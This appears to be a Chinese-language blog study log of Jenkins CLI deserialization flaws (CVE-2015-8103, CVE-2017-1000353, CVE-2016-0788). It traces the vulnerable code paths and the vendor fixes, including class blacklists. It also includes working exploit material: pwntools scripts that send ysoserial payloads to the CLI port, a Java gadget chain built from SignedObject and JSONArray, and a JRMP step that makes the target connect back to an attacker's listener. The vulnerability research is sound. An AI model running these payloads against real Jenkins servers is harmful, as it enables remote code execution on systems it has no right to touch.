前言 Jenkins 历史漏洞学习记录。
CVE-2015-8103 用 docker 开个 Jenkins 环境:
1 2 docker pull jenkins:1.625.1 docker run -id --name jenkins -p 32770:8080 -p32771:50000 jenkins:1.625.1
然后从里面把 war 包拖出来解压打开。
漏洞分析 该漏洞发生在 Jenkins 的 cli 模块,访问可以在 HTTP Headers 中找到 cli 端口为 50000:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 HTTP/1.1 200 OKX-Content-Type-Options : nosniffContent-Encoding : gzipExpires : 0Cache-Control : no-cache,no-store,must-revalidateX-Hudson-Theme : defaultContent-Type : text/html;charset=UTF-8X-Hudson : 1.395X-Jenkins : 1.625.1X-Jenkins-Session : 326782aaX-Hudson-CLI-Port : 50000X-Jenkins-CLI-Port : 50000X-Jenkins-CLI2-Port : 50000X-Frame-Options : sameoriginX-Instance-Identity : ...X-SSH-Endpoint : ...Content-Length : 3221Server : Jetty(winstone-2.8)
这个端口是由 TcpSlaveAgentListener 对象监听的一个 TCP 端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public TcpSlaveAgentListener (int port) throws IOException { super ("TCP slave agent listener port=" + port); try { this .serverSocket = ServerSocketChannel.open(); this .serverSocket.socket().bind(new InetSocketAddress (port)); } catch (BindException var3) { ... } this .configuredPort = port; LOGGER.log(Level.FINE, "JNLP slave agent listener started on TCP port {0}" , this .getPort()); this .start(); }
其 run 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void run () { try { while (true ) { Socket s = this .serverSocket.accept().socket(); s.setKeepAlive(true ); s.setTcpNoDelay(true ); (new TcpSlaveAgentListener .ConnectionHandler(s)).start(); } } catch (IOException var2) { if (!this .shuttingDown) { LOGGER.log(Level.SEVERE, "Failed to accept JNLP slave agent connections" , var2); } } }
接收到一个 TCP 连接后交给 ConnectionHandler 对象处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public ConnectionHandler (Socket s) { this .s = s; synchronized (this .getClass()) { this .id = TcpSlaveAgentListener.iotaGen++; } this .setName("TCP slave agent connection handler #" + this .id + " with " + s.getRemoteSocketAddress()); }public void run () { try { TcpSlaveAgentListener.LOGGER.info("Accepted connection #" + this .id + " from " + this .s.getRemoteSocketAddress()); DataInputStream in = new DataInputStream (this .s.getInputStream()); PrintWriter out = new PrintWriter (new BufferedWriter (new OutputStreamWriter (this .s.getOutputStream(), "UTF-8" )), true ); String s = in.readUTF(); if (s.startsWith("Protocol:" )) { String protocol = s.substring(9 ); AgentProtocol p = AgentProtocol.of(protocol); if (p != null ) { p.handle(this .s); } else { this .error(out, "Unknown protocol:" + s); } } else { this .error(out, "Unrecognized protocol: " + s); } } catch (InterruptedException var8) { ... } catch (IOException var9) { ... } }
从传输数据中读取一个字符串 “Protocol:”,然后从其后面读取协议名并调用相应协议的 handler 函数,这里传入 “CLI-connect” 进入 CliProtocol 类:
1 2 3 public void handle (Socket socket) throws IOException, InterruptedException { (new CliProtocol .Handler(this .nio.getHub(), socket)).run(); }
然后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public Handler (NioChannelHub hub, Socket socket) { this .hub = hub; this .socket = socket; }public void run () throws IOException, InterruptedException { PrintWriter out = new PrintWriter (new BufferedWriter (new OutputStreamWriter (this .socket.getOutputStream(), "UTF-8" )), true ); out.println("Welcome" ); this .runCli(new Connection (this .socket)); }protected void runCli (Connection c) throws IOException, InterruptedException { String name = "CLI channel from " + this .socket.getInetAddress(); ChannelBuilder cb = new ChannelBuilder (name, Computer.threadPoolForRemoting); Channel channel = cb.withMode(Mode.BINARY).withRestricted(true ).withBaseLoader(Jenkins.getInstance().pluginManager.uberClassLoader).build(new BufferedInputStream (c.in), new BufferedOutputStream (c.out)); channel.setProperty(CliEntryPoint.class.getName(), new CliManagerImpl (channel)); channel.join(); }
在 runCli 函数中会调用 ChannelBuilder 类的 build 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 for (int i = 0 ; i < preambles.length; ++i) { byte [] preamble = preambles[i]; if (preamble[ptr[i]] == ch) { if (++ptr[i] == preamble.length) { switch (i) { case 0 : case 1 : if (mode == Mode.NEGOTIATE) { mode = modes[i]; os.write(mode.preamble); os.flush(); } else if (modes[i] != mode) { throw new IOException ("Protocol negotiation failure" ); } return this .makeTransport(is, os, mode, cap); case 2 : cap = Capability.read(is); default : ptr[i] = 0 ; } } } else { ptr[i] = 0 ; } }
会跟三个 preambles 进行比较,然后做相应的操作,可以看到当符合第三个 preamble 时,会调用 Capability.read,第三个 preamble 为:
1 PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>" .getBytes("UTF-8" );
而 Capability.read 函数如下:
1 2 3 4 5 6 7 8 public static Capability read (InputStream is) throws IOException { try { ObjectInputStream ois = new ObjectInputStream (Mode.TEXT.wrap(is)); return (Capability)ois.readObject(); } catch (ClassNotFoundException var2) { throw (Error)(new NoClassDefFoundError (var2.getMessage())).initCause(var2); } }
会进行 Java 反序列化,而观察 Jenkins 项目中 lib 目录下的 jar,可以发现里面存在 commons-collections-3.2.1.jar,所以可以用 ysoserial 生成序列化攻击链。
漏洞利用 用 pwntools 写个简单的交互脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *import base64 context.log_level = "debug" target = remote("..." , 50000 ) protocol = "Protocol:CLI-connect" target.send("\x00" + chr (len (protocol)) + protocol) target.recv() pause() payload = "aced...787878" .decode("hex" ) payload = base64.b64encode(payload) target.send("<===[JENKINS REMOTING CAPACITY]===>" ) target.send(payload) pause() target.interactive() target.close()
漏洞修复 在往后的版本(2.46.1)中流程发生了变化,不过逻辑变化不大,最后在 Capability.read 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static Capability read (InputStream is) throws IOException { try { ObjectInputStream ois = new ObjectInputStream (Channel.Mode.TEXT.wrap(is)) { protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String n = desc.getName(); if (!n.equals("java.lang.String" ) && !n.equals("[Ljava.lang.String;" ) && !n.equals(Capability.class.getName())) { throw new SecurityException ("Rejected: " + n); } else { return super .resolveClass(desc); } } }; return (Capability)ois.readObject(); } catch (ClassNotFoundException var2) { throw (Error)(new NoClassDefFoundError (var2.getMessage())).initCause(var2); } }
对反序列化的类做了限制,只允许 String、String 数组 和 Capability。
除此之外,还将其他很多反序列化点的 ObjectInputStream 类修改为 ObjectInputStreamEx,其 resolveClass 函数如下:
1 2 3 4 5 6 7 8 9 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return this .filter.check(Class.forName(this .filter.check(name), false , this .cl)); } catch (ClassNotFoundException var4) { return super .resolveClass(desc); } }
简单来说就是一个正则一样的黑名单,其值如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private static final String[] DEFAULT_PATTERNS = new String []{ "^bsh[.].*" , "^com[.]google[.]inject[.].*" , "^com[.]mchange[.]v2[.]c3p0[.].*" , "^com[.]sun[.]jndi[.].*" , "^com[.]sun[.]corba[.].*" , "^com[.]sun[.]javafx[.].*" , "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*" , "^java[.]awt[.].*" , "^java[.]rmi[.].*" , "^javax[.]management[.].*" , "^javax[.]naming[.].*" , "^javax[.]script[.].*" , "^javax[.]swing[.].*" , "^org[.]apache[.]commons[.]beanutils[.].*" , "^org[.]apache[.]commons[.]collections[.]functors[.].*" , "^org[.]apache[.]myfaces[.].*" , "^org[.]apache[.]wicket[.].*" , ".*org[.]apache[.]xalan.*" , "^org[.]codehaus[.]groovy[.]runtime[.].*" , "^org[.]hibernate[.].*" , "^org[.]python[.].*" , "^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*" , "^sun[.]rmi[.].*" , "^javax[.]imageio[.].*" , "^java[.]util[.]ServiceLoader$" , "^java[.]net[.]URLClassLoader$" };
CVE-2017-1000353 1 docker pull jenkins:2.46.1
漏洞分析 参考文章 中给出了 payload,该漏洞与 CVE-2015-8103 类似,这次是从 HTTP 访问 cli 触发的漏洞,处理代码在 CLIAction$CliEndpointResponse 类的 generateResponse 函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public void generateResponse (StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException { try { UUID uuid = UUID.fromString(req.getHeader("Session" )); rsp.setHeader("Hudson-Duplex" , "" ); if (req.getHeader("Side" ).equals("download" )) { FullDuplexHttpChannel server; CLIAction.this .duplexChannels.put(uuid, server = new FullDuplexHttpChannel (uuid, !Jenkins.getActiveInstance().hasPermission(Jenkins.ADMINISTER)) { protected void main (Channel channel) throws IOException, InterruptedException { channel.setProperty(CLICommand.TRANSPORT_AUTHENTICATION, Jenkins.getAuthentication()); channel.setProperty(CliEntryPoint.class.getName(), new CliManagerImpl (channel)); } }); try { server.download(req, rsp); } finally { CLIAction.this .duplexChannels.remove(uuid); } } else { ((FullDuplexHttpChannel)CLIAction.this .duplexChannels.get(uuid)).upload(req, rsp); } } catch (InterruptedException var10) { throw new IOException (var10); } }
可以看到,Jenkins 通过一个头 Session 决定一个通信频道,然后根据另一个头 Side 的不同,在同一个频道中会有 upload 和 download 两种处理方式,download 的处理会调用 download 函数,其中一部分代码如下:
1 2 3 4 5 6 7 8 9 while (this .upload == null && System.currentTimeMillis() < end) { this .wait(1000L ); }if (this .upload == null ) { throw new IOException ("HTTP full-duplex channel timeout: " + this .uuid); } else { ... }
可以看到,download 会挂起等待一段时间,直到 upload 属性被赋值才会进行下一步操作。回去看看 upload 的处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public synchronized void upload (StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException { rsp.setStatus(200 ); InputStream in = req.getInputStream(); if (DIY_CHUNKING) { in = new ChunkedInputStream ((InputStream)in); } this .upload = (InputStream)in; this .notify(); while (!this .completed) { this .wait(); } }
从 upload 中读取输入流,然后放入 upload 属性中。upload 结束后再回到 download:
1 2 3 4 5 6 7 try { this .channel = new Channel ("HTTP full-duplex channel " + this .uuid, Computer.threadPoolForRemoting, Mode.BINARY, this .upload, (OutputStream)out, (OutputStream)null , this .restricted); ... } finally { this .completed = true ; this .notify(); }
实例化了一个 Channel 类,其构造函数是一个套娃过程,其中一步如下:
1 2 3 Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException { this (settings, settings.negotiate(is, os)); }
negotiate 函数就是 CVE-2015-8103 的反序列化触发点,不过那个触发点已经被修复了,这次走的是另一条路,现版本的 switch 代码块如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 switch (i) { case 0 : case 1 : LOGGER.log(Level.FINER, "Received mode preamble: {0}" , modes[i]); if (mode == Mode.NEGOTIATE) { mode = modes[i]; LOGGER.log(Level.FINER, "Sending agreed mode preamble: {0}" , mode); os.write(mode.preamble); os.flush(); } else if (modes[i] != mode) { throw new IOException ("Protocol negotiation failure" ); } LOGGER.log(Level.FINE, "Channel name {0} negotiated mode {1} with capability {2}" , new Object []{this .name, mode, cap}); return this .makeTransport(is, os, mode, cap); case 2 : cap = Capability.read(is); LOGGER.log(Level.FINER, "Received capability preamble: {0}" , cap); ptr[i] = 0 ; break ; default : throw new IllegalStateException ("Unexpected preamble byte #" + i + ". Only " + preambles.length + " bytes are supported" ); }
可以看到,当 i 为 0、1 时,返回值来自 makeTransport 函数:
1 2 3 4 5 6 7 8 9 10 protected CommandTransport makeTransport (InputStream is, OutputStream os, Mode mode, Capability cap) throws IOException { FlightRecorderInputStream fis = new FlightRecorderInputStream (is); if (cap.supportsChunking()) { return new ChunkedCommandTransport (cap, mode.wrap(fis), mode.wrap(os), os); } else { ObjectOutputStream oos = new ObjectOutputStream (mode.wrap(os)); oos.flush(); return new ClassicCommandTransport (new ObjectInputStreamEx (mode.wrap(fis), this .getBaseLoader(), this .getClassFilter()), oos, fis, os, cap); } }
因为此处的 cap 可以由 Capability.read 反序列化而成,所以这里简单来说就是一个 ClassicCommandTransport 对象,回到 Channel 的构造函数中,最后一步如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 protected Channel (ChannelBuilder settings, CommandTransport transport) throws IOException { ... if (this .internalExport(IChannel.class, this , false ) != 1 ) { throw new AssertionError (); } else { ... transport.setup(this , new CommandReceiver () { public void handle (Command cmd) { Channel.this .commandsReceived++; Channel.this .lastCommandReceivedAt = System.currentTimeMillis(); if (Channel.logger.isLoggable(Level.FINE)) { Channel.logger.fine("Received " + cmd); } try { cmd.execute(Channel.this ); } catch (Throwable var3) { Channel.logger.log(Level.SEVERE, "Failed to execute command " + cmd + " (channel " + Channel.this .name + ")" , var3); Channel.logger.log(Level.SEVERE, "This command is created here" , cmd.createdAt); } } public void terminate (IOException e) { Channel.this .terminate(e); } }); ACTIVE_CHANNELS.put(this , this .ref()); } }
transport 即上面的 ClassicCommandTransport 对象,下一步调用其 setup 函数:
1 2 3 4 public void setup (Channel channel, CommandReceiver receiver) { this .channel = channel; (new SynchronousCommandTransport .ReaderThread(receiver)).start(); }
ReaderThread 类的 run 函数一部分如下:
1 cmd = SynchronousCommandTransport.this .read();
调用的 read 来自 ClassicCommandTransport 类:
1 2 3 4 5 6 7 8 9 10 11 public final Command read () throws IOException, ClassNotFoundException { try { Command cmd = Command.readFrom(this .channel, this .ois); if (this .rawIn != null ) { this .rawIn.clear(); } return cmd; } ... }
最后来到 Command.readFrom:
1 2 3 4 5 6 7 8 9 10 11 12 static Command readFrom (Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException { Channel old = Channel.setCurrent(channel); Command var3; try { var3 = (Command)ois.readObject(); } finally { Channel.setCurrent(old); } return var3; }
可以看到另一个没有那么严格限制的反序列化点,不过这里的 ois 来自前面实例化 ClassicCommandTransport 对象时传入的 ObjectInputStreamEx 对象,也就是说这个反序列化点存在 CVE-2015-8103 的修复方式中提到的黑名单校验。所以要通过这个反序列化点进行反序列化攻击,还需要想点别的办法,比如某个可序列化类中会自己实例化一个 ObjectInputStream 然后输入一些可控字符 再 readObject 一下。
而 JDK 中正好有一个类 SignedObject,其 getObject 函数如下:
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
问题在于这个类没有继承什么接口,也没有调用其 getObject 函数的地方,所以要连接成反序列化链就需要找到一个反射操作的地方。
光 JDK 内部是没有这种类的,不过 Jenkins 内有个 JSONObject 类,其 defaultBeanProcessing 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private static JSONObject defaultBeanProcessing (Object bean, JsonConfig jsonConfig) { ... PropertyDescriptor[] pds = PropertyUtils.getPropertyDescriptors(bean); PropertyFilter jsonPropertyFilter = jsonConfig.getJsonPropertyFilter(); String key; for (int i = 0 ; i < pds.length; ++i) { boolean bypass = false ; String key = pds[i].getName(); if (!exclusions.contains(key) && (!jsonConfig.isIgnoreTransientFields() || !isTransientField(key, beanClass, jsonConfig))) { Class type = pds[i].getPropertyType(); try { pds[i].getReadMethod(); } catch (Exception var17) { ... } if (pds[i].getReadMethod() != null ) { if (!isTransient(pds[i].getReadMethod(), jsonConfig)) { Object value = PropertyUtils.getProperty(bean, key); ... } } } } ... }
可以看到,这里会调用 getPropertyDescriptors 获取某个类中的属性描述符,经过测试可以发现,除了类中定义好的属性,getXXX 函数也会被 getPropertyDescriptors 函数认为是一个属性,所以可以通过 defaultBeanProcessing 函数调用 getObject。
继续往上,_fromBean:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private static JSONObject _fromBean (Object bean, JsonConfig jsonConfig) { if (!addInstance(bean)) { ... } else { fireObjectStartEvent(jsonConfig); JsonBeanProcessor processor = jsonConfig.findJsonBeanProcessor(bean.getClass()); JSONObject json; if (processor != null ) { ... } else { json = defaultBeanProcessing(bean, jsonConfig); removeInstance(bean); fireObjectEndEvent(jsonConfig); return json; } } }
继续:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static JSONObject fromObject (Object object, JsonConfig jsonConfig) { if (object != null && !JSONUtils.isNull(object)) { if (object instanceof Enum) { throw new JSONException ("'object' is an Enum. Use JSONArray instead" ); } else if (!(object instanceof Annotation) && !object.getClass().isAnnotation()) { if (object instanceof JSONObject) { return _fromJSONObject((JSONObject)object, jsonConfig); } else if (object instanceof DynaBean) { return _fromDynaBean((DynaBean)object, jsonConfig); } else if (object instanceof JSONTokener) { return _fromJSONTokener((JSONTokener)object, jsonConfig); } else if (object instanceof JSONString) { return _fromJSONString((JSONString)object, jsonConfig); } else if (object instanceof Map) { return _fromMap((Map)object, jsonConfig); } else if (object instanceof String) { return _fromString((String)object, jsonConfig); } else if (!JSONUtils.isNumber(object) && !JSONUtils.isBoolean(object) && !JSONUtils.isString(object)) { if (JSONUtils.isArray(object)) { throw new JSONException ("'object' is an array. Use JSONArray instead" ); } else { return _fromBean(object, jsonConfig); } } else { return new JSONObject (); } } else { throw new JSONException ("'object' is an Annotation." ); } } else { return new JSONObject (true ); } }
fromObject 会判断 Object 的类型并做相应处理,SignedObject 类最后会进入 _fromBean 函数。继续往上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected Object _processValue (Object value, JsonConfig jsonConfig) { if (JSONNull.getInstance().equals(value)) { return JSONNull.getInstance(); } else if (!Class.class.isAssignableFrom(value.getClass()) && !(value instanceof Class)) { if (value instanceof JSONFunction) { return value; } else if (value instanceof JSONString) { return JSONSerializer.toJSON((JSONString)value, jsonConfig); } else if (value instanceof JSON) { return JSONSerializer.toJSON(value, jsonConfig); } else if (JSONUtils.isArray(value)) { return JSONArray.fromObject(value, jsonConfig); } else if (JSONUtils.isString(value)) { return value.toString(); } else if (JSONUtils.isNumber(value)) { JSONUtils.testValidity(value); return JSONUtils.transformNumber((Number)value); } else if (JSONUtils.isBoolean(value)) { return value; } else { JSONObject jsonObject = JSONObject.fromObject(value, jsonConfig); return jsonObject.isNullObject() ? JSONNull.getInstance() : jsonObject; } } else { return ((Class)value).getName(); } }
AbstractJSON 类的 _processValue 函数,再往上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private JSONArray addValue (Object value, JsonConfig jsonConfig) { return this ._addValue(this .processValue(value, jsonConfig), jsonConfig); }private Object processValue (Object value, JsonConfig jsonConfig) { if (value != null ) { JsonValueProcessor jsonValueProcessor = jsonConfig.findJsonValueProcessor(value.getClass()); if (jsonValueProcessor != null ) { value = jsonValueProcessor.processArrayValue(value, jsonConfig); if (!JsonVerifier.isValidJsonValue(value)) { throw new JSONException ("Value is not a valid JSON value. " + value); } } } return this ._processValue(value, jsonConfig); }protected Object _processValue (Object value, JsonConfig jsonConfig) { if (value instanceof JSONTokener) { return _fromJSONTokener((JSONTokener)value, jsonConfig); } else if (value != null && Enum.class.isAssignableFrom(value.getClass())) { return ((Enum)value).name(); } else if (!(value instanceof Annotation) && (value == null || !value.getClass().isAnnotation())) { return super ._processValue(value, jsonConfig); } else { throw new JSONException ("Unsupported type" ); } }
JSONArray 类,它继承了 AbstractJSON 类,其 addValue 函数最后会调用父类 AbstractJSON 的 _processValue 函数,继续往上,其 _fromCollection 函数中:
1 2 3 4 5 6 7 8 int i = 0 ;Iterator elements = collection.iterator();while (elements.hasNext()) { Object element = elements.next(); jsonArray.addValue(element, jsonConfig); fireElementAddedEvent(i, jsonArray.get(i++), jsonConfig); }
遍历第一个参数 collection,然后调用 addValue。再往上,其 fromObject 函数中:
1 2 3 4 5 6 7 8 9 10 public static JSONArray fromObject (Object object, JsonConfig jsonConfig) { if (object instanceof JSONString) { return _fromJSONString((JSONString)object, jsonConfig); } else if (object instanceof JSONArray) { return _fromJSONArray((JSONArray)object, jsonConfig); } else if (object instanceof Collection) { return _fromCollection((Collection)object, jsonConfig); } ... }
如果参数 Object 为 Collection 类型,就会调用 _fromCollection。再往上:
1 2 3 4 5 6 7 public boolean containsAll (Collection collection) { return this .containsAll(collection, new JsonConfig ()); }public boolean containsAll (Collection collection, JsonConfig jsonConfig) { return this .elements.containsAll(fromObject(collection, jsonConfig)); }
containsAll 是 List/Collection 接口里面的函数,后面的链就好找多了。
ConcurrentSkipListSet 类的 equals 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Set)) return false ; Collection<?> c = (Collection<?>) o; try { return containsAll(c) && c.containsAll(this ); } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } }
这里调用了 c.containsAll,可以用来连接 containsAll,但是有个要求,c 必须是 Set 类型的对象,所以还需要找到一个 containsAll 函数返回值可控的 Set 类,这里找到 ListOrderedSet 类,其 containsAll 函数来自父类 AbstractCollectionDecorator:
1 2 3 public boolean containsAll (Collection coll) { return this .collection.containsAll(coll); }
至于怎么连接 equals,方法挺多的,最常见的办法就是利用 Map,不过一般情况下都需要一致的 hashCode 才能触发,而 ConcurrentSkipListSet 的 hashCode 计算起来比较复杂,所以再周转一下,找到 CopyOnWriteArraySet 类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Set)) return false ; Set<?> set = (Set<?>)(o); Iterator<?> it = set.iterator(); Object[] elements = al.getArray(); int len = elements.length; boolean [] matched = new boolean [len]; int k = 0 ; outer: while (it.hasNext()) { if (++k > len) return false ; Object x = it.next(); for (int i = 0 ; i < len; ++i) { if (!matched[i] && eq(x, elements[i])) { matched[i] = true ; continue outer; } } return false ; } return k == len; }private static boolean eq (Object o1, Object o2) { return (o1 == null ) ? o2 == null : o1.equals(o2); }
遍历参数 o,然后依次跟自身属性 al 中的元素调用 eq 作比较。而其 hashCode 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public int hashCode () { int h = 0 ; Iterator<E> i = iterator(); while (i.hasNext()) { E obj = i.next(); if (obj != null ) h += obj.hashCode(); } return h; }public Iterator<E> iterator () { return al.iterator(); }
可以看到,其 hashCode 同样来自属性 al,所以我们可以使用两个元素相同顺序不同的 CopyOnWriteArraySet,里面存放 ConcurrentSkipListSet 和 ListOrderedSet 对象,这样就可以以 ListOrderedSet 为参数触发 ConcurrentSkipListSet 的 equals 函数了。
能触发 equals 的 map,payload 中采用的是 ReferenceMap,其 readObject 如下:
1 2 3 4 private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); this .doReadObject(in); }
doReadObject 来自父类 AbstractReferenceMap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected void doReadObject (ObjectInputStream in) throws IOException, ClassNotFoundException { this .keyType = in.readInt(); this .valueType = in.readInt(); this .purgeValues = in.readBoolean(); this .loadFactor = in.readFloat(); int capacity = in.readInt(); this .init(); this .data = new HashEntry [capacity]; while (true ) { Object key = in.readObject(); if (key == null ) { this .threshold = this .calculateThreshold(this .data.length, this .loadFactor); return ; } Object value = in.readObject(); this .put(key, value); } }
然后是 put:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public Object put (Object key, Object value) { if (key == null ) { throw new NullPointerException ("null keys not allowed" ); } else if (value == null ) { throw new NullPointerException ("null values not allowed" ); } else { this .purgeBeforeWrite(); return super .put(key, value); } }public Object put (Object key, Object value) { key = this .convertKey(key); int hashCode = this .hash(key); int index = this .hashIndex(hashCode, this .data.length); for (AbstractHashedMap.HashEntry entry = this .data[index]; entry != null ; entry = entry.next) { if (entry.hashCode == hashCode && this .isEqualKey(key, entry.key)) { Object oldValue = entry.getValue(); this .updateEntry(entry, value); return oldValue; } } this .addMapping(index, hashCode, key, value); return null ; }protected boolean isEqualKey (Object key1, Object key2) { key2 = this .keyType > 0 ? ((Reference)key2).get() : key2; return key1 == key2 || key1.equals(key2); }
漏洞利用 观察参考文章的 payload,可以发现其是通过 HTTP 方式触发的,还用到了两个奇怪的类,通过 writeReplace 进行序列化,可能是为了避免生成对象的过程中触发某些奇特操作,还是用反射的方式写吧。
首先生成序列化数据测试一下先:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 SignedObject signedObject = (SignedObject)createWithoutConstructor("java.security.SignedObject" ); setField(signedObject, "content" , getPOC()); setField(signedObject, "signature" , "Twings" .getBytes()); setField(signedObject, "thealgorithm" , null );JSONArray jsonArray = new JSONArray ();ListOrderedSet listOrderedSet = new ListOrderedSet (); setField(listOrderedSet, "collection" , jsonArray);ConcurrentSkipListSet concurrentSkipListSet = new ConcurrentSkipListSet (); concurrentSkipListSet.add("1" );Object m = getFieldValue(concurrentSkipListSet, "m" );Object head = getFieldValue(m, "head" );Object node = getFieldValue(head, "node" );Object next = getFieldValue(node, "next" ); setField(next, "key" , signedObject);CopyOnWriteArrayList copyOnWriteArrayList1 = new CopyOnWriteArrayList (); copyOnWriteArrayList1.add("1" ); copyOnWriteArrayList1.add("2" ); Object[] array1 = (Object[])getFieldValue(copyOnWriteArrayList1, "array" ); array1[0 ] = listOrderedSet; array1[1 ] = concurrentSkipListSet;CopyOnWriteArrayList copyOnWriteArrayList2 = new CopyOnWriteArrayList (); copyOnWriteArrayList2.add("1" ); copyOnWriteArrayList2.add("2" ); Object[] array2 = (Object[])getFieldValue(copyOnWriteArrayList2, "array" ); array2[0 ] = concurrentSkipListSet; array2[1 ] = listOrderedSet;CopyOnWriteArraySet copyOnWriteArraySet1 = new CopyOnWriteArraySet (); setField(copyOnWriteArraySet1, "al" , copyOnWriteArrayList1);CopyOnWriteArraySet copyOnWriteArraySet2 = new CopyOnWriteArraySet (); setField(copyOnWriteArraySet2, "al" , copyOnWriteArrayList2);ReferenceMap referenceMap = new ReferenceMap (); referenceMap.put("1" , "Twings" ); referenceMap.put("2" , "Aluvion" ); Object[] data = (Object[])getFieldValue(referenceMap, "data" ); setField(data[1 ], "key" , copyOnWriteArraySet1); setField(data[7 ], "key" , copyOnWriteArraySet2);byte [] poc = serialize(referenceMap); System.out.println(new String (Base64.getEncoder().encode(poc))); unserialize(poc);
使用反射还是要麻烦一些的,不过也容易理解一些,然后再仿照 payload 整个 python 脚本就行了。顺带一提,给出的 payload 里面的序列化 Capability 对象好像有点问题,可以自己改一下它的 mask 属性,修改后的 Capability 对象如下:
1 2 preamble = "<===[JENKINS REMOTING CAPACITY]===>" \ "rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4="
漏洞修复 将 SignedObject 加入黑名单。
CVE-2016-0788 1 docker pull jenkins:1.642.1
漏洞分析 跟 CVE-2017-1000353 一样都是 CVE-2015-8103 的绕过,触发点也相同,不过这里走的不是 HTTP 途径,而且用的是 JRMP 方式,1.642.1 版本下的黑名单如下:
1 return new ClassFilter .RegExpClassFilter(Arrays.asList(Pattern.compile("^org\\.codehaus\\.groovy\\.runtime\\..*" ), Pattern.compile("^org\\.apache\\.commons\\.collections\\.functors\\..*" ), Pattern.compile(".*org\\.apache\\.xalan.*" )));
没有禁止 JRMP,所以可以通过反序列化创建一个 JRMP Client 连接我们的 Sever,返回 commons-collections 的序列化攻击链实现攻击。(当然反过来用 JRMP Listener 也是可以的)
漏洞利用 ysoerial 中就有这个漏洞的利用代码,可以读一下。
JenkinsReverse 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *import base64 context.log_level = "debug" target = remote("172.17.0.2" , 50000 ) protocol = "Protocol:CLI-connect" target.send("\x00" + chr (len (protocol)) + protocol) target.recv() pause() capability = "rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=" target.send("<===[JENKINS REMOTING CAPACITY]===>" ) target.send(capability) pause() target.send("\x00\x00\x00\x00" ) JRMPClient = base64.b64decode("JRMPClient payload from ysoserial" ) target.send(JRMPClient) target.interactive() target.close()
然后在云主机之类的地方用 ysoserial 开个 JRMPListener 即可。
JenkinsListener 这种方式就比较复杂了,主要分为三步,每次传输的都是一段序列化数据,然后触发服务端相应的处理,第一步的代码如下:
1 2 3 4 InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); c = JenkinsCLI.openChannel(isa);Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours" ));
getPropertyCallable 函数如下:
